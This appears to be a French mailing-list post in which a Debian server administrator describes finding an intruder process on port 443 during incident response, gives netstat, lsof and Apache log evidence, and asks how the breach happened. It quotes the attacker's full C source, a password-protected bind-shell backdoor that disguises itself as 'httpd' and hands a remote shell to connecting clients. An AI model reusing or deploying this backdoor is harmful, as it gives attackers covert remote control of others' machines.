Bonjour à tous,
Voilà, depuis quelques jours (le 30 juillet en fait), j'ai des
problèmes sur mon serveur avec mon samba qui marche très difficilement
et surtout mon apache qui refuse de se lancer sous prétexte que
quelqu'un d'autre utilise son port 443 (il y a bien un site qui tourne
en https !) N'ayant pas eu le temps de regarder plus tôt qu'aujourd'hui,
j'ai arreté le démons samba et laissé à l'arret apache... Mais
aujourd'hui en regardant de plus près, horreur ! ;-) Voici quelques
commandes et leur résultat qui m'a permis de trouver le coupable...
#netstat -a | grep https
tcp 0 0 *:https *:*
LISTEN // le port est ouvert...
#ps aux|grep apa
root 16130 0.0 0.0 1332 424 pts/1 R 14:36 0:00 grep apa
//prouve qu'il n'y a pas d'apache en lancement
# lsof -i | grep https
logs 24497 www-data 17u IPv4 1376544 TCP *:https (LISTEN)
//montre l'intrus !
En faisant un #find / -name logs, j'ai fini par le retrouver dans le
répertoire /tmp, s'y trouvais aussi le code source (ci-joint en
attachement).
Voici le détail des 2 fichiers :
-rw-r--r-- 1 www-data www-data 1828 Mar 26 21:03 bd.c
-rwxr-xr-x 1 www-data www-data 7535 Jul 29 00:54 logs*
Ce qui est fort étrange c que dans le code le port normalement utilisé
est 44999 alors que moi, il tournait sur le port 443 chez moi...
Aussi en regardant le code, les messages sont si je ne me trompe en
portugais et si je ne me trompe ne fait qu'ouvrir un shell sur un port
protégé par password ?
Il y a déjà eu quelques débuts de threads sur les newsgroup mais aucun
de bien convaincant à ce propos...
Donc à priori, ce trojan serait arrivé par Apache ou un de ses mods,
j'ai donc cherché dans mes logs d'apache et là j'ai découvert qu'il y
avait un trou dans les logs de 00:40 à 01:26 dans tous les logs
d'Apache... De plus j'ai dans un log d'un virtual host qui normalement
ne sert qu'à afficher la page de blocage de squidguard :
200-163-062-218.cbabm7003.dsl.brasiltelecom.net.br - -
[29/Jul/2003:01:26:10 +0200] "GET / HTTP/1.0" 200 1354 "-" "Mozilla/4.0
(compatible; MSIE 6.0b; Windows NT 5.0)" Même si c'est après "l'heure
du crime" (:-D), cette entrée n'est pas normale... (On parle portugais
en plus au Brésil, non ?)
Le serveur est un PIII800 avec 260GB de disque dur, tous les paquets
sont ceux qui viennet de la version stable de Woody sauf ceux concernant
Apache et ces mods justement... Ces derniers viennent de
http://debian.moolfreet.com, j'ai donc les versions suivantes :
Apache/1.3.26, php4 4.2.3, MySQL 4.0.13-1 Il y aussi à rajouter à PHP,
la suite de ZEND : Zend Performance Suite 3.5.0 qui plante relativement
souvent d'ailleurs et me laisse tjs un zombie ;-)
Le kernel est le 2.4.18-8 fourni par GNU/Debian Woody
Le serveur est bien entendu protégé par firewall avec seulement quelques
ports ouverts dont bien sûr ce 443...
Enfin il y a un IDS qui tourne mais bon malheureusement je n'ai pas
encore backporté une version plus récente, pour l'instant j'ai donc
Snort 1.8.4-beta1 (Build 91)
Pour le moment j'ai tué la tâche "logs", depuis mon samba remarche à
merveille et mon apache se relance correctement, mais est-il prudent de
le laisser tourner ?
Bon voilà je pense que j'ai donné toutes les infos, si quequ'un pouvait
m'aider ou me dire d'où pourrait venir la faille ce serait cool :)
Amicalement
Freedom66
/*
* Perfect.BR Team - [EMAIL PROTECTED]
* PRIVATE! PRIVATE! PRIVATE!
* DON'T DISTRIBUTE THIS CODE!
*/
#include <stdio.h>
#include <netdb.h>
#include <strings.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>
#define PORT 44999
#define PASSWORD "perfectbr"
#define HIDES "httpd"
int main(int argc, char *argv[])
{
char pass[256];
char *fuckmsg = "\nPode tentar Lammer Fela da Puta!\n";
char *welcome = "\n\nBem vindo a shell remota do Perfect.BR Team by
Sl4yD! :D\n\n";
int sockfd, newfd, size, i;
int cpid, spid;
struct sockaddr_in sin;
struct sockaddr_in addr;
strncpy(argv[0],HIDES,15);
if( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1 )
exit(-1);
bzero((char*)&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(PORT);
sin.sin_addr.s_addr = htonl(INADDR_ANY);
if( bind(sockfd, (struct sockaddr *)&sin, sizeof(sin)) == -1 )
exit(-1);
if( fork() != 0 )
exit(0);
setpgrp();
signal(SIGHUP, SIG_IGN);
if( fork() != 0 )
exit(0);
if( listen(sockfd, 5) != 0 )
exit(0);
while(1)
{
size = sizeof(addr);
if((newfd=accept(sockfd,(struct sockaddr *)&addr, &size)) < 0)
exit(0);
cpid = getpid();
spid = fork();
if( spid != 0 )
{
if((i=recv(newfd, pass, 256, 0)) == -1)
continue;
pass[i] = '\0';
if(strstr(pass,PASSWORD) != NULL)
{
send(newfd,welcome,strlen(welcome),0);
dup2(newfd,0);
dup2(newfd,1);
dup2(newfd,2);
execl("/bin/sh", "bash", "-i", (char *)0);
close(newfd);
exit(0);
}
else
{
send(newfd,fuckmsg,strlen(fuckmsg),0);
close(newfd);
exit(0);
}
}
}close(newfd);
}
/*
*
*/